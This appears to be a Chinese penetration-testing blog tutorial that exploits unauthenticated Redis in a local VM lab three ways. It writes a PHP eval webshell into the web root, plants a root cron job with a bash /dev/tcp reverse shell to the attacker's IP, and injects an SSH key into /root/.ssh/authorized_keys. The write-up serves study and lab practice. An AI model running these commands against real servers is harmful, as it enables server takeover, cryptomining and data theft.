【渗透】Redis 未授权访问漏洞利用(三种利用方式)

  • 起序:是因为我同学的云服务器被黑了,被挖矿了,原因就是 redis 可以未授权访问,还是 root 级别的,我直接好家伙,整理记录一下。

一、软件环境

  • 虚拟机:VMware Workstation 15.5.1 Pro
  • Kali:kali-linux-2020.4-installer-amd64.iso
  • CentOS:CentOS-7-x86_64-DVD-2003.iso
  • redis-5.0.5.tar.gz

二、环境搭建

1、CentOS 环境配置

1、启动 Web 服务

安装 httpd 服务,目的是为了下面的 写入一句话 的漏洞利用。

yum install httpd

在这里插入图片描述

开启 web 服务,当前靶机的 IP 地址为 192.168.1.137

systemctl start http.service

在这里插入图片描述

如果服务器没有 php 环境,访问 Web 的时候,php 文件是不解析的。(已踩过坑,后来的同志们不要再踩了)
下面链接是之前做的,里面有安装 php 环境的方法,我这里就不想写了,把离线安装看完就行了,如果网络好的话那就用在线安装。php72 依赖包在该文章中提供了。
希望你能看懂。希望你不要光看图片,多看看文字。

在这里插入图片描述

2、启动 redis 服务

如何安装,可以参考下面文章。

  • 没有写,哈哈哈。

关闭 IP 绑定,允许主机远程连接 redis 服务。用 # 号注掉。

在这里插入图片描述

关闭保护模式,允许主机远程连接 redis 服务。

在这里插入图片描述

启动 redis 服务

./bin/redis-server ./conf/redis.conf 

在这里插入图片描述

2、Kali 环境配置

安装 redis-cli,可以参考下面文章。

三、漏洞利用

1、写入一句话

1、前提条件
  1. 已知 web 服务的绝对路径;
  2. redis 对 web 目录有写入权限;
2、漏洞利用

/var/www/html 目录下写入一句话木马。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /var/www/html
# 设置保存的文件
192.168.1.137:6379> config set dbfilename shell.php
# 设置保存的内容
192.168.1.137:6379> set x "<?php @eval($_POST['shell']);?>"
# 保存
192.168.1.137:6379> save

在这里插入图片描述

已经将一句话木马写在了 /var/www/html 目录下,中国蚁剑连接一下。

在这里插入图片描述


2、计划任务反弹 shell

1、前提条件
  1. redis 以 root 权限运行;
2、漏洞利用

kali 进行监听。

nc -nvlp 1314

在这里插入图片描述

/var/spool/cron/ 写入定时任务。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /var/spool/cron/
# 设置保存的文件
192.168.1.137:6379> config set dbfilename root
# 设置保存的内容	/bin/bash -i >& /dev/tcp/{攻击机 IP}/{端口} 0>&1
192.168.1.137:6379> set x "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.107/1314 0>&1\n\n"
# 保存
192.168.1.137:6379> save

在这里插入图片描述

需要等一会,然后查看监听结果。

在这里插入图片描述

3、ssh 免密登陆

1、前提条件

2、漏洞利用

kali 本机生成一对公私钥。

ssh-keygen -t rsa

在这里插入图片描述

查看 id_rsa.pub 内容。

在这里插入图片描述

上传公钥到靶机的 .ssh 目录下(首先 .ssh 文件要存在,我是在靶机 /root 目录下新建的 .ssh 文件)。下面是在 kali 上操作的。

# kali 的 redis-cli 连上 CentOS 的 redis 服务
redis-cli -h 192.168.1.137 -p 6379

# 设置保存的目录
192.168.1.137:6379> config set dir /root/.ssh/
# 设置保存的文件
192.168.1.137:6379>config set dbfilename authorized_keys
# 设置保存的内容
192.168.1.137:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDaRhV49ZWIyTzDu2w6BdDtv4Ej7uouX2G4pgk6Q8pTvZ9rqrQRJvgqlc6/K7BQKltLUpU0Pc/81S2kyDVo5PMm+GPSX8AEHUzW6OaJbMJxAUNZFTRdBgKslpsu3sjJAcm+qDOFpa9qwztoKofwE//mcwy/CflxGVIShOY1T3OKqy8gEBGDvBkulcdXd5EBBJ+OBmF+CQTSTkf7LrUV8+Yx/vMMb0/ZwJ4xeiXiN2GqF/eMjnX/3wugFgMG9YUB+KJWsVxMpul2p14rOHQ5BuNv35VQCZXz7b1w/5eeJ4nLulR5D4qZMgTRA82lFPcABN3pKi+MR0+H9rOE5sqD8OO19CWEonk/N3GkEiFYoiGojRQIQ+WxbGT4bP/V20w7uVZ6Fr6MeVdi1t/fjpVlQ299iQDEIL9F8R96hGAc296HVtcKiG2WHY3SrdsCDPohBim4U0WDmP5yhgxUMVKA0kzdJkGds3zpUpE7xvyrIY8I9Ppo0ple5+ff0ykkkvDJxpE= root@kali\n\n\n"
# 保存
192.168.1.137:6379> save

在这里插入图片描述

kali 本机 ssh 私钥连接。

ssh -i id_rsa root@192.168.1.137 -p 22

在这里插入图片描述

如果对您有帮助,点个赞再走吧。

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

边扯边淡

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值